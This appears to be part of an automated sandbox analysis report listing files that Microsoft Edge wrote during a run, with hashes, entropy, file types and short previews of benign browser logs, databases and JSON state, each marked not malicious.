SHA-512:	D76E002BD65F05640CB2E4FD2114F5F1255068BDA6D1C6C6FFC3A22236F993F7CD8F54A5DB5A4845F608ED9CC3167BF92B70B908D857E6FD1D9CC60CD287567C
Malicious:	false
Preview:	2024/11/23-03:16:42.046 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-03:16:42.051 1200 Recovering log #3.2024/11/23-03:16:42.123 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376823403822784

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.812623533700697
Encrypted:	false
SSDEEP:	24:3N0u0EtMcVLOg0JDI3P4SmBpsAF4unxARtLp3X2amEtG1Chq1CTdVzMQKkOAM44:3rViJuPpKzFQbLp2FEkChXdJdHOpp
MD5:	EE4F4460BB076B60E8111DFD8128181C
SHA1:	06F7BFF40CB127F530390F039DF09E9A7F8D3EDA
SHA-256:	EC260B1A7BC03C1374CCA4A6A8686F26588CB6813C6BBE9F0C05166A66EC631C
SHA-512:	55AA7ADBE0E002B56DE455FCF5A42F4845318D07631DEBDD39DBCD9DC7CF2D3D3D8655D8E83F6D8E043B3FAFBD10F426D0D4B4F4B05360D1AD6C003C745FFC9C
Malicious:	false
Preview:	SNSS.......5..\|...........5..\|......"5..\|...........5..\|.......5..\|.......6..\|.......6..\|....!..6..\|...............................5..\|6..\|1..,...6..\|$...5f74b38b_f341_4855_bf41_30c352858e73...5..\|.......6..\|.....M.........5..\|...5..\|.......................5..\|....................5..0...5..\|&...{46F3A197-DB49-410A-81B3-94975C835573}.....5..\|.......5..\|..........................6..\|...........6..\|........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x............'.......'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.079191774130706
Encrypted:	false
SSDEEP:	6:HGLCBq2PN723oH+Tcwt7Uh2ghZIFUt8YGLCKUmZmw+YGLC1kwON723oH+Tcwt7UT:UwvVaYebIhHh2FUt8Z/Um/+ZW5OaYebs
MD5:	9EA352A3F9295242B3AFCD6744F3C28F
SHA1:	83E209C99156E67DEEBA7C492E420A44F3147118
SHA-256:	F4EDB3747E70A263C8E3377CCC75101655E54700D78583B7879BB2CA6797E639
SHA-512:	750C23081F061E965F63C6BF71C8C0581902EC984492C7EC33DE87FB9CD7272698D2ADDDD3B9F2FF492F994A2A6549070FE42F48C3C6C09D96D329086C83CC40
Malicious:	false
Preview:	2024/11/23-03:16:41.350 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-03:16:41.424 1da0 Recovering log #3.2024/11/23-03:16:41.434 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.079191774130706
Encrypted:	false
SSDEEP:	6:HGLCBq2PN723oH+Tcwt7Uh2ghZIFUt8YGLCKUmZmw+YGLC1kwON723oH+Tcwt7UT:UwvVaYebIhHh2FUt8Z/Um/+ZW5OaYebs
MD5:	9EA352A3F9295242B3AFCD6744F3C28F
SHA1:	83E209C99156E67DEEBA7C492E420A44F3147118
SHA-256:	F4EDB3747E70A263C8E3377CCC75101655E54700D78583B7879BB2CA6797E639
SHA-512:	750C23081F061E965F63C6BF71C8C0581902EC984492C7EC33DE87FB9CD7272698D2ADDDD3B9F2FF492F994A2A6549070FE42F48C3C6C09D96D329086C83CC40
Malicious:	false
Preview:	2024/11/23-03:16:41.350 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-03:16:41.424 1da0 Recovering log #3.2024/11/23-03:16:41.434 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.188779502711006
Encrypted:	false
SSDEEP:	12:Uv4vVaYebvqBQFUt8ZvLW/+Zvq5OaYebvqBvJ:USVaYebvZg8ZzRsOaYebvk
MD5:	4BFB93497333DCAFD63CA143EAEE956F
SHA1:	A34622F2FBF9F8199597E3DAC9CF4699F5ECB186
SHA-256:	BAD23E0377A9CC5D815674288357958C8CE826F602B4FBC02CADBC04A53DE8D5
SHA-512:	08EBAD1297CF9B462F6FA21DD44641F34DBA782C84FAB579EF6754E021829C4D1D701697EC8F29E1D621E13080E0C2B4963FFE7E66DADFED3C8739F5EE874CC2
Malicious:	false
Preview:	2024/11/23-03:16:42.140 1434 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-03:16:42.141 1434 Recovering log #3.2024/11/23-03:16:42.145 1434 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.188779502711006
Encrypted:	false
SSDEEP:	12:Uv4vVaYebvqBQFUt8ZvLW/+Zvq5OaYebvqBvJ:USVaYebvZg8ZzRsOaYebvk
MD5:	4BFB93497333DCAFD63CA143EAEE956F
SHA1:	A34622F2FBF9F8199597E3DAC9CF4699F5ECB186
SHA-256:	BAD23E0377A9CC5D815674288357958C8CE826F602B4FBC02CADBC04A53DE8D5
SHA-512:	08EBAD1297CF9B462F6FA21DD44641F34DBA782C84FAB579EF6754E021829C4D1D701697EC8F29E1D621E13080E0C2B4963FFE7E66DADFED3C8739F5EE874CC2
Malicious:	false
Preview:	2024/11/23-03:16:42.140 1434 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-03:16:42.141 1434 Recovering log #3.2024/11/23-03:16:42.145 1434 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\089a9f67-1ce7-41ea-9541-cba59097a904.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2c309b4a-bc37-475b-a8e3-799d37570a6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7e65755d-e3f1-4ccb-9ea0-49daa7129a23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\98d52723-7741-499a-87a2-5df8cc64101d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3dd70.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.146369620922287
Encrypted:	false
SSDEEP:	12:UIVvVaYebvqBZFUt8ZYYg/+ZsI5OaYebvqBaJ:UiVaYebvyg8ZY+5OaYebvL
MD5:	12E6482C0A4CB21D8B4D1AA72DB13423
SHA1:	C87875CE65849EC297AD9AC6BC137C383F2B75AE
SHA-256:	FF2FDBCB17E763BA8AA18A9DEFD33101F1F77D6C898B06D72F6BC41E30702A9F
SHA-512:	6F149A10C27C33CF5F48280CE8800964C98E3877DAB6CCB14BF0069CE847CE6754EE54F08BF32E952F254F06BDDDB68026C3F07CADAE3AC86D9BFEA09633A950
Malicious:	false
Preview:	2024/11/23-03:17:00.131 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-03:17:00.132 1200 Recovering log #3.2024/11/23-03:17:00.135 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.146369620922287
Encrypted:	false
SSDEEP:	12:UIVvVaYebvqBZFUt8ZYYg/+ZsI5OaYebvqBaJ:UiVaYebvyg8ZY+5OaYebvL
MD5:	12E6482C0A4CB21D8B4D1AA72DB13423
SHA1:	C87875CE65849EC297AD9AC6BC137C383F2B75AE
SHA-256:	FF2FDBCB17E763BA8AA18A9DEFD33101F1F77D6C898B06D72F6BC41E30702A9F
SHA-512:	6F149A10C27C33CF5F48280CE8800964C98E3877DAB6CCB14BF0069CE847CE6754EE54F08BF32E952F254F06BDDDB68026C3F07CADAE3AC86D9BFEA09633A950
Malicious:	false
Preview:	2024/11/23-03:17:00.131 1200 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-03:17:00.132 1200 Recovering log #3.2024/11/23-03:17:00.135 1200 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.206295863972473
Encrypted:	false
SSDEEP:	6:HGLCoOPq2PN723oH+TcwtpIFUt8YGLCoOCZmw+YGLCoOukwON723oH+Tcwta/WLJ:Ub6vVaYebmFUt8Zbz/+Zbp5OaYebaUJ
MD5:	87D98BBC77D525F00986CDA971EE6E32
SHA1:	7586A4ACDCCA1A25DF790E55172A8F96A331DF63
SHA-256:	988EA6163DC461F3A9656733D2B27A20B644D1D697DE28C4FA63C2353D15A45E
SHA-512:	2160DC3E54B91F69D7E091B34FF7FFD8C710AFF677E18B54C34DDB4463522D054F85D1C5B53B5C00BC3A35545431E60FF7705C015A891B94D62884D0E661A4F4
Malicious:	false
Preview:	2024/11/23-03:16:41.365 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-03:16:41.365 1d74 Recovering log #3.2024/11/23-03:16:41.365 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.206295863972473
Encrypted:	false
SSDEEP:	6:HGLCoOPq2PN723oH+TcwtpIFUt8YGLCoOCZmw+YGLCoOukwON723oH+Tcwta/WLJ:Ub6vVaYebmFUt8Zbz/+Zbp5OaYebaUJ
MD5:	87D98BBC77D525F00986CDA971EE6E32
SHA1:	7586A4ACDCCA1A25DF790E55172A8F96A331DF63
SHA-256:	988EA6163DC461F3A9656733D2B27A20B644D1D697DE28C4FA63C2353D15A45E
SHA-512:	2160DC3E54B91F69D7E091B34FF7FFD8C710AFF677E18B54C34DDB4463522D054F85D1C5B53B5C00BC3A35545431E60FF7705C015A891B94D62884D0E661A4F4
Malicious:	false
Preview:	2024/11/23-03:16:41.365 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-03:16:41.365 1d74 Recovering log #3.2024/11/23-03:16:41.365 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26761704966022
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumi:Kq+n0JZ91LyKOMq+8iP5GLP/0j
MD5:	D10C88B5174CFD05192184B5C535304A
SHA1:	44D0E0F8F2AFDA3B9681C36DC2B739F52CAC1C09
SHA-256:	FC6A7DD16AD572571D972185B6511237C9723108B71E9379BFA53B65B33DBE33
SHA-512:	580AF15C904D2B9F3F508E972FE7CEFEF50108E0E755E1A77707808CD27C704BD525B3774695B94E18909C33D564BA76DAA3FB2D2611B7B8AD468408B523BB8E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4670686704735148
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0xY:v7doKsKuKZKlZNmu46yjx0C
MD5:	6FA4BB9FC43BE50D19A8FB144E60107C
SHA1:	A46017855D3FF683B8CEB2173A9739CBD0BFC941
SHA-256:	C6ABED10AABD1CEDE2A2FCB071F39F72A04517B9A907CA74AED0918B509316B8
SHA-512:	253A294779153672332A6FF59447605B88CC9F3E7A3E5814773D773CA30D635A2F3AB99080328D40101E39084C2AC29536D8D584EAADA5D819B68ED4ED748ACB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aee2a136-096f-484d-8086-3c9b9e45fe0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17119), with no line terminators
Category:	dropped
Size (bytes):	17119
Entropy (8bit):	5.483852195494149
Encrypted:	false
SSDEEP:	384:stEPGQSu4XsVhCD5zz54AuVIoS9bGu/QwNqhP:sCOXuNhCN1PbGr5hP
MD5:	C55DD3A7A008F68304353FD48ED07E42
SHA1:	2E9330D5E251E7D2C051896F45A078221C4BF99C
SHA-256:	0FD970671DD0A879DA1A2D27C47C43EB2C5C0EB9BAAC0D695D9221843E699942
SHA-512:	BA47532BEA7C0493243F6A0B025E5396B8B68B73AD41E74E69C90518AA2F7C5660CF1CD861A89CA0F8047BAE6397EC1684610E49EDB4AAE4911F91EED173926F
Malicious:	false
